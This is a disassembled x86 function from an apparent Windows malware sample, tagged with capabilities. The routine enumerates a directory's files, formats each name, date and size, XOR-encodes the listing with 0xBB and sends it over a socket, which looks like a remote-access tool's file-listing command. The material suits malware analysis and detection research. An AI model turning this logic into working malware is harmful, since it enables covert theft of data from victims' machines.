Function at 0x406df0
Capabilities:
Encode data using xor
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0x3f4
mov eax, dword [0x442754]
xor eax, esp
mov dword [esp + 0x3f0], eax
push ebx
push esi
push edi
push 1
mov esi, ecx
call fcn.0041c606
mov ebx, eax
add esp, 4
mov dword [esp + 0x28], ebx
test ebx, ebx
je 0x406e26
mov byte [ebx], 0
push esi
lea eax, [esp + 0x2f4]
push str._s
push eax
call fcn.0041c484
add esp, 0xc
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x2f4]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
mov dword [esp + 0x2c], edi
cmp edi, 0xffffffff
jne 0x406ea0
mov eax, dword [ebp + 8]
push str._GetFileNoneNoneNoneIsEnd
push eax
mov edi, 0x1f
call fcn.00412810
add esp, 8
test ebx, ebx
je 0x406e7d
push ebx
call fcn.0041ba30
add esp, 4
mov eax, 0x439bba
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3f0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
test byte [esp + 0x40], 0x10
jne 0x407030
mov ecx, 0x43a9cc
lea eax, [esp + 0x6c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406ed4
test dl, dl
je 0x406ed0
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406ed4
add eax, 2
add ecx, 2
test dl, dl
jne 0x406eb4
xor eax, eax
jmp 0x406ed9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x407030
mov ecx, 0x43a9d0
lea eax, [esp + 0x6c]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x406f10
test dl, dl
je 0x406f0c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x406f10
add eax, 2
add ecx, 2
test dl, dl
jne 0x406ef0
xor eax, eax
jmp 0x406f15
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x407030
cmp dword [esp + 0x60], 0
je 0x407030
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx eax, word [esp + 0x3c]
movzx ecx, word [esp + 0x3a]
movzx edx, word [esp + 0x38]
push eax
movzx eax, word [esp + 0x3a]
push ecx
movzx ecx, word [esp + 0x3a]
push edx
movzx edx, word [esp + 0x3c]
push eax
push ecx
push edx
lea eax, [esp + 0x198]
push str._d__02d__02d__02d:_02d:_02d
push eax
call fcn.0041c484
mov ecx, dword [esp + 0x80]
fild dword [esp + 0x80]
test ecx, ecx
jns 0x406f86
fadd qword [0x43def8]
fmul qword [0x43def0]
add esp, 0x18
lea edx, [esp + 0x188]
lea eax, [esp + 0x74]
fstp qword [esp]
push edx
push eax
lea ecx, [esp + 0x1f8]
push str._s_s_.2f_KB_
push ecx
call fcn.0041c484
mov eax, ebx
add esp, 0x18
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406fc0
sub eax, edx
mov edx, eax
lea eax, [esp + 0x1e8]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406fd5
sub eax, esi
lea edx, [eax + edx + 1]
push edx
push ebx
call fcn.0041c547
add esp, 8
test eax, eax
je 0x40708f
lea ecx, [esp + 0x1e8]
mov dword [esp + 0x28], eax
mov esi, ecx
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x407001
sub ecx, esi
mov edx, ecx
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x407010
mov ebx, dword [esp + 0x28]
mov ecx, edx
shr ecx, 2
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x2c]
lea eax, [esp + 0x40]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x406ea0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x43a980
push ebx
push 0x43aa50
push 3
call fcn.00402eb0
add esp, 0x10
mov dword [esp + 0x2c], eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x407067
sub eax, edx
mov edi, eax
lea ebx, [edi + 1]
push ebx
call fcn.0041c606
push ebx
mov esi, eax
push 0
push esi
call fcn.00421fd0
add esp, 0x10
test esi, esi
jne 0x4070b6
jmp 0x4070d9
push ebx
call fcn.0041ba30
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x3f0]
xor ecx, esp
call fcn.0041ba21
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x2c]
push edi
push ecx
push esi
call fcn.00420fc0
add esp, 0xc
xor eax, eax
test edi, edi
je 0x4070d9
jmp 0x4070d0
xor byte [eax + esi], 0xbb
inc eax
cmp eax, edi
jb 0x4070d0
mov edx, dword [ebp + 8]
push 0
push edi
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
mov eax, dword [esp + 0x28]
test eax, eax
je 0x4070f8
push eax
call fcn.0041ba30
add esp, 4
mov ecx, dword [esp + 0x3fc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, str.success
call fcn.0041ba21
mov esp, ebp
pop ebp
ret